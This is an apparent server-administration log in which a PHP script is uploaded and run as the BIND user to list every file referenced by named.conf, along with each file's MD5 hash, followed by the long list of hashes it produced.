MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:47:38: Establishing a connection
2026-04-28 14:47:38: 

PUT: /tmp/pkp209405

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:47:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp209405; rm /tmp/pkp209405'

2026-04-28 14:47:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
